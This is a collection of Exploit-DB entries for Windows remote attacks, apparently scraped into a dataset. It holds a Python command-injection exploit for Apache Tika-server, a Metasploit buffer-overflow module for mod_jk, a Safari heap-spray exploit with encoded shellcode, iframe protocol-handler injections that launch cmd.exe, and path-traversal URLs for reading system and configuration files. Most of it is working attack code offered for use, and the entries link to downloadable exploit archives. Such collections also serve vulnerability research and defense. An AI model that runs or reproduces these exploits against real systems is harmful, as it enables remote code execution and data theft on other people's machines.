deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46540
Description: Apache Tika-server < 1.18 - Command Injection
Type: remote
Platform: windows
Date: 2019-03-13
Author: Rhino Security Labs

Exploit:
######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server.                      #
#Versions Affected: Tika-server versions < 1.18                                                      #   
#Researcher: David Yesland Twitter: @Daveysec                                                        #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                   # 
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
######################################################################################################

import sys
import requests

if len(sys.argv) < 4:
	print "Usage: python CVE-2018-1335.py <host> <port> <command>"
	print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
	host = sys.argv[1]
	port = sys.argv[2]
	cmd = sys.argv[3]

	url = host+":"+str(port)+"/meta"

	headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
		"X-Tika-OCRLanguage": "//E:Jscript", 
		"Expect": "100-continue", 
		"Content-type": "image/jp2", 
		"Connection": "close"}

	jscript='''var oShell = WScript.CreateObject("WScript.Shell");
	var oExec = oShell.Exec('cmd /c {}');
	'''.format(cmd)

	try:
		requests.put("https://"+url, headers=headers, data=jscript, verify=False)
	
	except:
		try:
			requests.put("http://"+url, headers=headers, data=jscript)
		except:
			print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"
Exploit-DB #20716
Description: Apache Tomcat 3.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-03-28
Author: lovehacker

Exploit:
source: https://www.securityfocus.com/bid/2518/info

Apache Tomcat in a Windows NT environment could be led to traverse the normal directory structure and return requested files from outside of the document root.

By including '/../' sequences along with specially chosen characters in requested URLs, a remote user can obtain read access to directories and files outside of the document root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

The following examples have been provided by lovehacker <lovehacker@263.net>:

http://www.example.com/../../winnt/win.ini%00examples/jsp/hello.jsp

Will cause the Tomcat server to send back the content of win.ini.

http://www.example.com/%2e%2e/%2e%2e/%00.jsp

will disclose a directory listing from outside Tomcat's normal directory tree.

http://www.example.com/%2e%2e/%2e%2e%5cfilename%00.jsp

will reveal the requested file [filename].
Exploit-DB #16798
Description: Apache Tomcat mod_jk 1.2.20 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-25
Author: Metasploit

Exploit:
##
# $Id: apache_modjk_overflow.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
			'Description'    => %q{
					This is a stack buffer overflow exploit for mod_jk 1.2.20.
				Should work on any Win32 OS.
			},
			'Author'         => 'Nicob <nicob[at]nicob.net>',
			'Version'        => '$Revision: 9929 $',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2007-0774' ],
					[ 'OSVDB', '33855' ],
					[ 'BID', '22791' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 4000,
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
					['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 02 2007'))

		register_options(
			[
				Opt::RPORT(80)
			], self.class)
	end

	def check
		connect

		sock.put("GET / HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect

			if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
				print_status("Apache version detected : #{m[1]}")
				return Exploit::CheckCode::Appears
			else
				return Exploit::CheckCode::Safe
			end
	end

	def exploit
		connect

		uri_start  = "GET /"
		uri_end    = ".html HTTP/1.0\r\n\r\n"
		sc_base    = 16

		shellcode  = payload.encoded
		sploit     = rand_text_alphanumeric(5001)
		sploit[sc_base, shellcode.length] = shellcode

		# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
		# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
		# 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20

		[ 4343, 4407, 4423 ].each { |seh_offset|
			sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
			sploit[seh_offset - 4, 2] = "\xeb\xf9"
			sploit[seh_offset    , 4] = [ target.ret ].pack('V')
		}

		print_status("Trying target #{target.name}...")
		sock.put(uri_start + sploit + uri_end)

		resp = sock.get_once
		if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
			print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
		end

		handler
		disconnect
	end

end
Exploit-DB #25652
Description: APG Technology ClassMaster - Unauthorized Folder Access
Type: remote
Platform: windows
Date: 2005-05-12
Author: Alex Garrett

Exploit:
source: https://www.securityfocus.com/bid/13604/info

ClassMaster is reportedly affected by a vulnerability that may allow attackers to gain unauthorized access to users' folders.

An attacker is able to gain complete access to user shares over a network without providing any sort of authentication credentials.

All versions of ClassMaster are considered vulnerable at the moment. 

Map account to a drive:
net use [drive]: \\[server]\[user]$

Change directory to target folder:
cd 'My files'
Exploit-DB #4424
Description: Apple QuickTime /w IE .qtl Version XAS - Remote
Type: remote
Platform: windows
Date: 2007-09-18
Author: Aviv Raff

Exploit:
<!--
Performing XAS (Cross Application Scripting) attacks automatically (read "no user interaction") 
is very easy, as I showed before in my "shutting down skype" proof-of-concept.

But, what if you are using a limited web environment, where you can't use iframes or scripts to 
automate your pwning? Several limited web environments (e.g. blogger.com blog system) does not 
allow using iframes or script, but they do allow embedding QuickTime movies.

Few days ago, pdp found that it is possible to use QuickTime .qtl files to execute code from 
remote, when the default browser is Firefox. This is a variant of the good old MOAB #3 and 
pdp's own MP3 backdooring exploit. It uses a simple "-chrome" command-line switch injection.

As this is a Firefox only exploit, I looked for ways to do the same in Internet Explorer. 
I found that it is also possible to perform all other noted XAS attacks using QuickTime.

So now, if you are in a limited web environment, you can just embed a .qtl file and conduct 
an automated XAS attack against the visitor of the web page.

The following is the QuickTime .qtl version of the "shutting down skype" PoC:
-->
 
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="nothing.mp3" autoplay="true" qtnext="skype:&quot; /shutdown"/>

# milw0rm.com [2007-09-18]
Exploit-DB #4664
Description: Apple QuickTime 7.2/7.3 - RSTP Response Universal
Type: remote
Platform: windows
Date: 2007-11-27
Author: YAG KOHHA

Exploit:
      ___             Everyone Loves
    O|0_+|O           the Hypnotoad...
     |...|
      | |
=o0O=====O0o===============================
| QuickTime RTSP Response Content-type    |
| remote stack rewrite exploit for IE 6/7 |
| by Yag Kohha (skyhole [at] gmail.com)   |
===========================================
			      
Exploit tested on:
 - Windows Vista
 - Windows XP SP2
 - IE 6.0/ 7.0
 - QT 7.2/ 7.3

Exploit requirements:
 Target: Windows Vista/ XP SP2 , IE 6.0/7.0, QT 7.2/7.3
 Server: Linux, Perl, Apache web- server

Whats inside:
 index.html 	- hypertext document with heap spray javascript and QT plugin call with playlist.mov (place to public web-folder)
 server 	- rtsp- server emulator (run in your linux shell in background mode "./server&")
 playlist.mov 	- play list with rtsp server link (edit "_server_emulator_ip" with address of rtsp-server emulator started and place to public web-folder)
Try to load index.html in your browser from remote web- server with installed exploit.

Greetz 2:
    - str0ke & milw0rm
    - shinnai
    - h07 for bug publication
    - muts & InTel for code play'ng ( but guyz, U`rs releases coded with SEH overwrite... It's so many problems
				    with shellcode modification and stable exploitation on different systems...
				    for whats? 
				    We can overwrite EIP with buffer generation like 65535 bytes. In this release EIP -> 0x0c0c0c0c )

Fuckz 2:
    - wslabi.com (too stupid resource for selling shit)
    - ICEPACK and MPACK coderz (Fucking javascript kidd0z and code thiefz)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4664.tar.gz (11272007-qt_public.tar.gz)

# milw0rm.com [2007-11-27]
Exploit-DB #36115
Description: Apple QuickTime 7.6.9 - 'QuickTimePlayer.dll' ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2011-09-06
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/49465/info

Apple QuickTime is prone to a buffer-overflow vulnerability because of a failure to properly bounds-check user-supplied data.

Successful exploits will allow attackers to execute arbitrary code in the context of the currently logged-in user; failed exploit attempts may cause denial-of-service conditions.

QuickTime 7.6.9 is vulnerable; other versions may also be affected. 

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:0F5B08E7-94EE-470B-A184-5CD4A7DF35A3' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\QuickTime\QuickTimePlayer.dll"
prototype  = "Sub OpenURL ( ByVal url As String )"
memberName = "OpenURL"progid     = "QuickTimePlayerLib.QuickTimePlayer"
argCount   = 1
arg1="%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
target.OpenURL arg1
</script>
</job>
</package>
Exploit-DB #30176
Description: Apple Safari 3 for Windows - Protocol Handler Command Injection
Type: remote
Platform: windows
Date: 2007-06-12
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/24434/info

Apple Safari for Windows is prone to a protocol handler command-injection vulnerability.

Exploiting the issue allows remote attackers to pass arbitrary command-line arguments to any application that can be called through a protocol handler.

This specific vulnerability relies on the use of IFRAME elements; attackers can do even more damage by combining it with Mozilla XPCOM components.

Exploiting the issue would permit a remote attacker to influence command options that can be called through Safari protocol handlers and to compromise affected systems in the context of the vulnerable user.

This issue may be related to the vulnerability discussed in BID 10406 (Apple MacOS X SSH URI Handler Remote Code Execution Vulnerability). We will update this BID as more information emerges.

Note: Apple has released Safari for Windows Beta 3.0.1 

<html><body>
<iframe src='gopher://example.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;cmd.exe&#39;);process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);process.init(file);process.run(true&#44;{}&#44;0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html>
Exploit-DB #4061
Description: Apple Safari 3 for Windows Beta - Remote Command Execution
Type: remote
Platform: windows
Date: 2007-06-12
Author: Thor Larholm

Exploit:
<!--
Safari for Windows, 0day exploit in 2 hours
http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/
By Thor Larholm

The below PoC exploit will exploit Safari by bouncing through Firefox 
via the Gopher protocol, passing on unfiltered input for the -chrome 
argument that Firefox exposes. When it has done this it will launch 
C:\Windows\System32\cmd.exe with any arguments that have been specified 
in the call to the process.run method. 

It is important to know that, even though this PoC exploit uses Firefox, 
the actual vulnerability is within the lack of input validation for the 
command line arguments handed to the various URL protocol handlers on 
your machine. As such, there are a lot of different attack vectors for 
this vulnerability, I simply chose Firefox and the Gopher URL protocol 
because I was familiar with these. 

I hope you enjoyed the fruits of my 2 hours of labour. Please feel free 
to add my RSS feed to your reader and come back again tomorrow or next 
week for a fresh batch of 0day vulnerabilities :) 

Cheers Thor Larholm 
-->

<html><body>
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;cmd.exe&#39;);process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);process.init(file);process.run(true&#44;{}&#44;0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html>

# milw0rm.com [2007-06-12]
Exploit-DB #33563
Description: Apple Safari 4.0.4 - Style Sheet redirection Information Disclosure
Type: remote
Platform: windows
Date: 2010-01-09
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/37925/info

Apple Safari is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information that may lead to further attacks.

<link rel="stylesheet" type="text/css" href="http://www.example.com"> Hola <script language="javascript"> setTimeout("alert(document.styleSheets[0].href)", 10000); //setTimeout is used just to wait for page loading </script>
Exploit-DB #12614
Description: Apple Safari 4.0.5 - 'parent.close()' Memory Corruption (ASLR + DEP Bypass)
Type: remote
Platform: windows
Date: 2010-05-15
Author: Alexey Sintsov

Exploit:
Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12614.zip (safari_parent_close_sintsov.zip)

Unzip and run START.htm

This exploit use JIT-SPRAY for DEP and ASLR bypass.
jit-shellcode: system("notepad")

0day.html - use 0x09090101 address for CALL JITed shellcode.


START.htm -> iff.htm -> if1.htm -> 0day.html
| |
| |
JIT-SPRAY parent.close();
0x09090101 - JITed * ESI=0x09090101
shellcode * CALL ESI

By Alexey Sintsov
from
Digital Security Research Group

[www.dsecrg.com]
Exploit-DB #12573
Description: Apple Safari 4.0.5 - 'parent.close()' Memory Corruption Code Execution
Type: remote
Platform: windows
Date: 2010-05-11
Author: Krystian Kloskowski

Exploit:
<!-- 
Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on: Apple Safari 4.0.5 / XP SP2 Polish
Shellcode: Windows Execute Command (calc)
Local: Yes
Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])
Just for fun ;)
-->

<!---------------------------------REMOTE.htm---------------------------------
<script>
window.open("0day.htm"); //parent.close() activation
self.close();
</script>
-----------------------------------REMOTE.htm-------------------------------->

<!---------------------------------0day.htm---------------------------------->
<h1>Alt + F4 :)</h1>

<script>
function make_buf(payload, len) {
    while(payload.length < (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");


bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<1000;i++) memory[i] = block + shellcode;

var a = parent;
var buf = make_buf("AAAA", 10000);

for(var i = 0; i <= 1; i++) {
    a.prompt(alert);
    a.prompt(buf);
    a.close();
}
</script>
<!---------------------------------0day.htm---------------------------------->
Exploit-DB #17575
Description: Apple Safari 5.0.5 - SVG Remote Code Execution (DEP Bypass)
Type: remote
Platform: windows
Date: 2011-07-26
Author: Abysssec

Exploit:
Abysssec Public Advisory

   apple killed one of our 0day  no point to keep it private anymore :(
   there is another version of exploit using POPup and thats more
reliable but as you know safari block pop up by default so we found a
cool way to bypass it and stand alone module .
   this exploiting using ROP to bypass permanent DEP.

   note : Change spray range if not work on your machine.

   CVE-2011-0222 :

   WebKit, as used in Apple Safari before 5.0.6, allows remote attackers
to execute arbitrary code or cause a denial of service (memory
corruption and application crash)
   via a crafted web site a different vulnerability than other WebKit
CVEs listed in APPLE-SA-2011-07-20-1.

   Tested on windows XP SP3 and safari 5.0.5

   feel free to contact us at : info [at] abysssec.com

   and follow @abysssec for updates

   http://www.abysssec.com/files/CVE-2011-0222_WinXP_Exploit.zip
   https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17575.zip (CVE-2011-0222_WinXP_Exploit.zip)
Exploit-DB #38923
Description: Apple Safari For Windows - PhishingAlert Security Bypass
Type: remote
Platform: windows
Date: 2013-12-07
Author: Jackmasa

Exploit:
source: https://www.securityfocus.com/bid/64543/info

Apple Safari for Windows is affected by a security-bypass weakness.

Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in conducting phishing attacks.

http://example.com:/@/xsser.me/
Exploit-DB #50665
Description: Archeevo 5.0 - Local File Inclusion
Type: remote
Platform: windows
Date: 2022-01-18
Author: Miguel Santareno

Exploit:
# Exploit Title: Archeevo 5.0 - Local File Inclusion
# Google Dork: intitle:"archeevo"
# Date: 01/15/2021
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.keep.pt/
# Software Link: https://www.keep.pt/produtos/archeevo-software-de-gestao-de-arquivos/
# Version: < 5.0
# Tested on: windows

# 1. Description

Unauthenticated user can exploit LFI vulnerability in file parameter.


# 2. Proof of Concept (PoC)

Access a page that don’t exist like /test.aspx and then you will be redirected to
https://vulnerable_webiste.com/error?StatusCode=404&file=~/FileNotFoundPage.html

After that change the file /FileNotFoundPage.html to /web.config and you be able to see the
/web.config file of the application.

https://vulnerable_webiste.com/error?StatusCode=404&file=~/web.config


# 3. Research:
https://miguelsantareno.github.io/MoD_1.pdf
Exploit-DB #5230
Description: argon client management services 1.31 - Directory Traversal
Type: remote
Platform: windows
Date: 2008-03-10
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Argon Client Management Services
              http://www.argontechnology.com/product.aspx/cid1/43
Versions:     <= 1.31 (TFTP Boot Server <= 2.5.3.1)
Platforms:    Windows
Bug:          directory traversal in TFTP Boot Server
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


>From vendor's website:
"Client Management ServicesÂ® (CMS) includes all the server-based
services (PXE Server, BOOTP Server) and administration tools needed to
setup an open network boot environment. You can deploy your favorite
third party client management tools in a pre-OS booting phase."


#######################################################################

======
2) Bug
======


The TFTP Boot Server is affected by a classical directory traversal
vulnerability which allows an attacker to download (upload is not
allowed) any file from the disk where is located the tftp folder.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ../../windows/win.ini none
  tftpx SERVER ..\boot.ini none


#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-03-10]